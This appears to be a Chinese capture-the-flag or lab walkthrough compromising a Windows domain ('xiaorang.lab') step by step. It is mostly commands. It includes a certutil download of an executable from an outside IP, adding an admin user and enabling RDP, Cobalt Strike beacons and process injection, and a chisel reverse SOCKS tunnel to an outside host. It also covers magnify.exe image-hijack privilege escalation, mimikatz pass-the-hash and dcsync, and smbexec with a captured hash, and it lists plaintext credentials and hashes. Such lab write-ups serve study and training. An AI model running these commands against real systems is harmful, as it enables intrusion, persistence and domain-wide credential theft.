MDUT
fscan可以直接扫出用户名密码,直接链接
然后可以选择上传木马
也可以远程:
certutil -urlcache -split -f http://165.154.5.221:60000/new.exe C:\windows\temp\a.exe
C:\windows\temp\a.exe -a whoami
加载并开启远程服务
C:\windows\temp\a.exe -a "net user dionysus dionysus /add"
C:\windows\temp\a.exe -a "net localgroup administrators dionysus /add"
C:\windows\temp\a.exe -a 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
cscs
CS Payload生成exe,然后上传到服务器并使用上面的system权限点击,即可上线CS,然后shell net user
进行hashdump
用shell quser || qwinst
发现john用户在线
于是进程劫持找到john用户的svchost.exe
进行inject
上线后执行shell net use
发现存在共享文件
读出来shell type \\tsclient\c\credential.txt
xiaorang.lab\Aldrich:Ald@rLMWuy7Z!# Do you know how to hijack Image?
7000-7010 端口随便用
接下来挂好代理 ./chisel_amd_linux server -p 7000 --reverse
shell C:\Users\Public\chisel.exe client 120.46.78.45:7000 R:0.0.0.0:7777:socks
proxychains直接使用7777的代理去
proxychains -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#'
利用工具修改密码
python3 smbpasswd.py xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass 'Whoami@666'
然后就rdp登录上了
用之前那个生成listener
然后生成Payload,复制粘贴到rdp里去,点击就可以了
映像劫持,先查看权限
get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *
这里我们发现所有正常登录的用户都可以修改注册表,利用这个性质,修改注册表映像劫持,使用放大镜进行提权,其实也就是把本来用户主页点放大镜启动的magnify.exe替换成C:\windows\system32\cmd.exe
,这样就直接提权成system了
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
然后就用system权限进入cs
下一步就进行一些域信息搜集
logonpasswords#用于提取和显示当前登录会话中存储的密码信息,包括明文密码和哈希值
shell net user /domain#列出当前域中的所有用户账户
shell net group "domain admins" /domain#
shell C:\\Users\\Aldrich\\Desktop\\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:WIN2016$ /domain:xiaorang.lab /ntlm:抓到的机器账户哈希" "exit"
然后用mimikatz
dcsync
dump所有用户的hash获得域控哈希
shell C:\\Users\\Aldrich\\Desktop\\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"
最后哈希传递登录域控,即可拿到最后一个flag
proxychains python3 smbexec.py -hashes :2c9d81bdcf3ec8b1def10328a7cc2f08 [email protected]
最后type C:\Users\Administrator\flag/flag03.txt
拿到flag
另外看别人的wp